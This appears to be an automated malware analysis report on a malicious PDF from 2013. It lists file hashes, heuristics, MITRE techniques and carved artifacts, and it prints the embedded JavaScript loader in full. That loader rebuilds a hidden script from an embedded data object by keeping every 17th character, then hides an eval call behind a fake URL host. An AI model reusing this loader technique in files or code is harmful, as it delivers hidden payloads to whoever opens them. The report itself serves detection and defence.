Malicious PDF — malware analysis report

Static analysis result for SHA-256 35a23c32977ac015…

MALICIOUS

PDF

5.1 KB First seen: 2013-08-01
MD5: a052ad45f1a795c8df62cac0263940c6 SHA-1: d41c59c8e562366b1f74f7ab5bebb708f5f70eab SHA-256: 35a23c32977ac015e564b8f7ac31e9afcaa725ca224152852a5aa2471eed3eea
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript stream is likely responsible for downloading and executing a second-stage payload from the embedded file artifact. The presence of an embedded file further supports the payload delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108137 bytes
SHA-256: 2b1c28f56f750dcb82f3c853dad4c26ba884795992120a879ac8348b4855ff84
Detection
ClamAV: No threats found
Obfuscation or payload: likely
255 of 255 identifiers look randomly generated (e.g. 'LkIzmINMKYsCfgqa1LkIzmINMKYsCfgqa2LkIzmI') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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